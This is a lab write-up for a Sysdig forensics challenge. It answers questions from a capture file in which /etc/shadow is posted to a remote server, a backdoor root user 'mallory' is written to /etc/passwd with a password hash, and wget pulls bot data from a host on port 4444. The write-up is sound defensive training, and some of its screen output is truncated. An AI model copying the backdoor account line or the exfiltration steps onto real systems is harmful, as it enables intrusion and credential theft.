<b>Name</b>	Malware I
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=1098">https://attackdefense.com/challengedetails?cid=1098</a>
<b>Type</b>	Endpoint Security: Sysdig

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Q1. A sensitive system file has been posted to a remote HTTP server. Provide full path of that file.**

**Answer:** /etc/shadow

**Command:** csysdig -r trace.scap

**Step 1:** Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

```
Viewing: Processes For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
Select View Containers Errors
Connections This view shows system error counters for each container running
Containers er'.

There is a curl request to send '/etc/shadow' file to the remote server.

**Q2. A service running on the system has added a backdoor user. What is the name of that user?**

**Answer:** mallory

**Command:** csysdig -r trace.scap

**Step 1:** Navigate to the 'Files' view under the 'Select View' menu (Press F2).

Viewing: Processes For: whole machine  
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch

Select View	Files
Connections	This view lists the files that were accessed on the file system.
Containers	
Containers Errors	Tips
Directories	This view can be applied not only to the whole machine, but also
Errors	
File Opens List	Columns
Files	BYTES IN: Amount of bytes read from the file. For live captures,
I/O by Type	BYTES OUT: amount of bytes written to the file. For live capture
K8s Controllers	OPS: Number of I/O operations on the file. This counts all the o
K8s Deployments	if I/O bytes for the file are zero.
K8s Namespaces	OPENS: Number times the file has been opened during the sample i
K8s Pods	ERRORS: Number I/O errors that happened on this file during the
K8s ReplicaSets	FILENAME: The file name including its full path.
K8s Services	

**Step 2:** Press F4 to search for '/etc/passwd' file.

```
Viewing: Files For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: fd.type=file or fd.type=directory and fd.name!=''
  BYTES IN  BYTES OUT  OPS  OPENS  ERRORS  FILENAME
    2K 74  24 2 0  /etc/passwd

F1Help F2sysdigEnterDone EscClear Text to match: /etc/passwd
```

**Step 3:** Press F5 to view the I/O Activity associated with the file '/etc/passwd'.

```
Viewing: I/O activity For: fd.name=/etc/passwd
Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=file or fd.type=directory and fd.name!='') and fd.name=/etc/passwd)
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Write 74B to /etc/passwd (client.py)
mallory:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:mallory:/home/mallory:/bin/bash
```

Entry for a user named 'mallory' has been added and it is assigned uid=0 and gid=0.

**Q3. A TCP connection is established with a remote machine. What is the IP address of the remote machine?**

**Answer:** 172.17.0.2

**Command:** csysdig -r trace.scap

**Step 1:** Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

**Viewing:** Processes **For:** whole machine  
**Source:** trace.scap (194905 evts, 72.24s) **Filter:** evt.type!=switch  
**Select View** **Containers**  
**Connections** List all the containers running on this machine, and the resources that each of them uses.  
**Containers**  
**Containers Errors** **Tips**  
**Directories** Select a container and click enter to drill down into it. At that point, you will be able to  
**Errors**  
**File Opens List** **Columns**

wget is used to download 'details' file from the remote server.

**Step 2:** Press F5 to view the I/O Activity of the wget process.

```

Viewing: I/O activity For: fd.name=172.17.0.3:57800->172.17.0.2:4444
Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=ipv4 or fd.type=ipv6 and fd.name!=''))

----- Write 176B to 172.17.0.3:57800->172.17.0.2:4444 (wget)

GET /dd59ae3dfb1bb22/details HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Acce

----- Read 176B from 172.17.0.3:57800->172.17.0.2:4444 (server.py)

GET /dd59ae3dfb1bb22/details HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Acce

----- Write 82B to 172.17.0.3:57800->172.17.0.2:4444 (server.py)

Bot_ID=KXTCRV-9237
Remote_IP=192.168.31.121
flag2=d5bb0657a3e9aab57a1033e007aa00

----- Read 82B from 172.17.0.3:57800->172.17.0.2:4444 (wget)

Bot_ID=KXTCRV-9237
Remote_IP=192.168.31.121
flag2=d5bb0657a3e9aab57a1033e007aa00

----- Read 82B from 172.17.0.3:57800->172.17.0.2:4444 (wget)

Bot_ID=KXTCRV-9237
Remote_IP=192.168.31.121
flag2=d5bb0657a3e9aab57a1033e007aa00

```

It reveals that the process received 'flag2' along with some other data.

**Q6. What is the password hash of the backdoor user?**

**Answer:** BXBqpb9BZcZhXLgbee

**Command:** csysdig -r trace.scap

**Step 1:** Navigate to the 'Files' view under the 'Select View' menu (Press F2).

```

Viewing: Processes For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
Select View Files
